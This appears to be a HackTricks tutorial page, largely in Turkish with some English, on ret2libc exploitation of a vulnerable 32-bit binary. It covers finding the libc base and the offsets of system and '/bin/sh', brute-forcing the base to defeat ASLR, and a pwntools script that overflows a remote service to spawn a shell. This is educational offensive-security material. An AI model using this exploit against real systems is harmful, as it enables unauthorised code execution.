5 KiB
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz The PEASS Family'i keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @hacktricks_live'ı takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
Eğer bir zafiyetli ikili bulduysanız ve Ret2Lib kullanarak bunu sömürebileceğinizi düşünüyorsanız, izleyebileceğiniz bazı temel adımlar bulabilirsiniz.
Eğer hedefin içindeyseniz
libc adresini bulabilirsiniz
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
ASLR'nin libc adresini değiştirip değiştirmediğini kontrol etmek isterseniz şunu yapabilirsiniz:
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
Sistem fonksiyonunun ofsetini alın
Bir programı hedef alırken, sistem fonksiyonunun ofsetini belirlemek önemlidir. Bu, hedef programda sistem çağrılarını gerçekleştiren işlevin bellek adresini bulmamıza yardımcı olur. Sistem fonksiyonunun ofsetini almak için aşağıdaki adımları izleyebilirsiniz:
- Hedef programı çalıştırın ve debugger'ı başlatın.
- Debugger'da hedef programın çalıştığı noktaya gelin.
- Sistem fonksiyonunun adını ve kütüphane adını belirleyin. Örneğin,
system
fonksiyonulibc
kütüphanesinde bulunur. - Debugger'da
p system
komutunu kullanarak sistem fonksiyonunun adresini alın. - Sistem fonksiyonunun ofsetini hesaplamak için
p system - libc_base_address
formülünü kullanın.libc_base_address
, hedef programınlibc
kütüphanesinin başlangıç adresidir.
Bu adımları takip ederek, sistem fonksiyonunun ofsetini elde edebilir ve hedef programda bu fonksiyonu hedefleyebilirsiniz.
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
To get the offset of "/bin/sh", we can use the objdump
command. First, we need to find the address of the string "/bin/sh" in the binary. We can do this by running the following command:
objdump -s -j .rodata binary | grep "/bin/sh"
This command will display the offset and the corresponding string. The offset value is what we are interested in.
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
/proc/<PID>/maps
Eğer işlem her konuştuğunuzda (ağ sunucusu gibi) çocuklar oluşturuyorsa, bu dosyayı okumayı deneyin (muhtemelen root olmanız gerekecektir).
Burada işlem içinde libc'nin tam olarak nerede yüklendiğini ve işlemin her çocuğunun nerede yükleneceğini bulabilirsiniz.
Bu durumda, 0xb75dc000 adresine yüklendi (Bu, libc'nin temel adresi olacak)
gdb-peda Kullanarak
gdb-peda kullanarak system fonksiyonunun, exit fonksiyonunun ve "/bin/sh" dizesinin adresini alın:
p system
p exit
find "/bin/sh"
ASLR Geçme
Libc'nin taban adresini bruteforce yöntemiyle deneyebilirsiniz.
for off in range(0xb7000000, 0xb8000000, 0x1000):
Kod
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline() #Banner
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @hacktricks_live'ı takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.